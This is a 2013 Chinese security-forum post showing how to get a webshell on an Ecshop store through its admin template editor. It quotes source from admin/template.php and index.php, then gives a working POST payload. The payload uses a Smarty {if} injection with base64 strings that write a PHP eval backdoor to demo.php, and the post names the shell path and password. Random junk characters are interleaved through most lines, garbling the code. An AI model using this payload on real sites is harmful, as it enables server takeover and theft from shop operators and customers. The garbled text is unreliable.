找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2426|回复: 0
打印 上一主题 下一主题

Ecshop后台getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-11 21:33:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板- e# `( |* S+ r/ G1 |4 T8 c

) g3 Y2 m$ w3 T) p1 F而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了
# F' _4 v+ U" F& Q1 C3 \但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
& F6 ]6 X! ^7 H5 Z; sadmin/template.php
. f& d) r( c& @. m& W! B& U/ V6 e" Q" v  k- ?
1 if ($_REQUEST['act'] == 'update_library')
3 v( O- g4 q4 h6 M# P6 [3 x( b3 ]; o8 r8 k; v' R
2   / N5 j, [; v' \' X

! z& T3 B; X% ~" r7 @3 { 1 B! h( m0 w- @. a9 e. t! e, y

( c# h! V7 D' ]; A4     check_authz_json('library_manage');
. a, w# M: }. G* i2 b0 J' `8 m& K# m: e% n9 Q3 K
5   
, J& S# h" W5 A/ r; Z
* T( i; G% R& j7 K6     $html = stripslashes(json_str_iconv($_POST['html'])); , Y+ q. @& C! m( x; I" `

0 ?1 ^* o  X8 }. k: l7   0 q/ M) O4 b( l7 I4 g' |

' t9 S: I4 c: A0 V/ j% B3 V: g0 _8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件 & ?4 E" {9 ]0 ^+ j/ b3 w" V

; U/ Q% J( D# U0 g9   
. v1 P: t) u% d
$ {- ?0 ^4 b2 ^9 K& J5 R8 `10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符
, o* k/ ^* S8 [6 Z; l$ w. X" Q2 L
11   
* U  ^6 U9 A; p+ z8 A' }3 S$ X; x1 J7 q  d9 ?
12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
. R5 c4 t+ k! s$ c0 Y
6 e! G" v- T, G" i) v13   , q- [8 A. m" a! v: Y
: w2 h- l4 M9 z* n8 ~7 _
14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 6 b. ?  S3 U( K1 }5 r2 @
0 y  R; _* K3 M! @7 b2 @
15     {
" K: d& T( Z+ \5 {
/ T7 h' M" V9 c. G! ^7 ^( ~16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
# F: l+ |, r4 U9 |
* H/ d! Z5 ~5 N; p$ o17         make_json_result('', $_LANG['update_lib_success']);
* E4 I$ U3 v; p: \, D, W6 A! h- Y$ O2 r7 ^9 R' l* ^
18     }
8 }8 J' j# C3 U- n. m. _/ q8 u/ n2 A
19     else 2 ^4 T: A( c' G$ x5 A, R1 o- y. ^& k
! @" |) ?7 d$ z5 z3 |
20     {
' N. I, s6 T+ b  ^
  M4 L! H! E( g; S21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library')); # W, |9 k- H3 C0 G$ P8 \6 L6 e
! J$ F: n: h& I, a, ?* c' r; y
22     } ! ]1 c6 X# e5 O
7 c/ }  |; L9 o$ ]+ L# V" u/ R
23 }
; Y1 ^; A4 c: f( \$ J) w8 ?
7 ^" z: p2 r" w4 Z& r& {那么找个比较方便调用了模板的文件
& p4 s" A3 n, w( D& I( Hindex.php2 B, |- L) s( d( S
$ {" e# A% G. [5 p
1 if ($act == 'cat_rec')
) h2 j8 A+ h  E9 g
6 o2 I7 q( |9 y2   ) k% T6 J7 [* A/ }9 C

9 z9 s7 Z% N; A3 {
6 n) _% K8 |3 i( g/ K0 _4 d2 @
0 k; V1 Y& j& o7 }0 ]4   
- f5 Y4 E$ g+ @) i: N$ c+ k: A. j4 J* L4 c0 Y3 a
5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot'); / G4 V  h( J, ?  _8 G7 _2 _3 O- L
2 `. F  P( C2 L0 {; S' U2 K
6   
$ w5 `; q" {+ e2 O# r& x  i7 _0 B/ t8 l' Q
7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1'; % F9 v5 {6 O9 x0 `9 B; Q2 x
0 ^" M& w( a+ G. w) }) g
8   8 s! q" `  C! p2 G2 y7 y+ X

0 O; y1 m( X7 L+ M" a9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; / i+ f* t& }! w

: Q" ^9 f1 b( {10   
: b" C- N1 l' |) {" x4 w) A* p8 S' F+ R* K5 G
11     include_once('includes/cls_json.php');
! I% U9 `; G8 [; t' p) N/ h9 j/ g$ ^, z( j& h& y: v4 m
12   9 F& i! ^* M1 ^2 b) f! |

) d! B! u) b" W' e: K13     $json = new JSON; + g6 T/ J# D. e( ~
. L- B( w  F3 b. o
14   , ?% z4 n- b6 v
5 T- |% g7 h) ]
15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
4 t1 c. n8 b6 E
2 d" @% \% j' K( `. q% t0 m16   
1 e  Y# ]5 c2 w% z7 ?
, C9 j- s8 G8 Z& p) p2 k17     $children = get_children($cat_id);
1 c3 M5 X1 O- t9 l' ^, Q7 k. v/ m5 R4 Y  O& I# G. y
18   " V  z  [8 _) x% l# P* j

; U* l4 b; x! ~; D19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
( e" T+ n. M( _' L9 I3 ~/ k4 p. h, j0 j2 q% p+ x
20   0 S3 C; j. a/ g6 j: w% n
3 {+ ]: S* D6 z- v- u4 y# D- K1 ~
21     $smarty->assign('cat_rec_sign', 1); 9 [/ h4 C2 H% V* G. u( s1 H

% Z9 j. X% n, ?( u6 p* g0 F22   : r  ?! i# c: u1 I
! O6 \0 }  P5 b8 Q( K
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best . x3 l$ u$ H9 A' z1 s9 K, m1 P
8 @/ F* r4 N' Y! r
24   4 j( H0 C9 j2 T) D5 E

; }1 ~6 S) X6 `. Z9 D% [$ j% ?25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi'; ' m' D* Z1 F6 W6 `* `

) a9 z# ^  |6 z5 A26   ( p$ w1 C4 z2 k* q* E

4 p. _" \! f0 t: f4 L6 Q: \27         echo $rec_array[$rec_type];
4 `% R/ f9 `0 k4 V, s( X
+ M, y- {( c' L4 b: p2 L28   
4 O- T6 v) W: ]. T) Z8 y9 E0 h! w+ F9 B8 f' ~9 e. l! r5 E* j+ t
29     die($json->encode($result));
* A; ?. s& m; [7 K1 k' p) i( `, ^0 q8 O0 E2 Y( Z3 A8 Z
30   2 ?8 e! b3 C# e9 N+ a7 ^! f8 z
- ?' g9 C/ T: A6 g
31 }
4 e* D; ~; R4 a' {) O) Y7 ~
# z1 N+ y. u' L4 g3 S* c那么就有利用方法了2 Q  |9 N& e/ Z
post包到http://localhost/ec/admin/template.php?act=update_library
. z. P5 B1 y$ E' n  |# D5 XPost内容:- E) C( @7 {* p$ h

, O" {4 c6 t: _" q' Z; O
1 e! q2 s4 u% b1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}
. V' }6 N" J# D; h( x
2 b3 E+ z0 L* x$ K8 i. j& d然后访问http://localhost/ec/index.php?act=cat_rec
& l& H# `! G- [. j/ _; b2 H$ a
# K4 j- K* c2 l% @shel地址:http://localhost/ec/demo.php) z7 P% X6 i5 V7 E2 @
密码c; T' L' U$ P- t8 z, w

# V; E+ g" ]9 f$ T1 J* x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表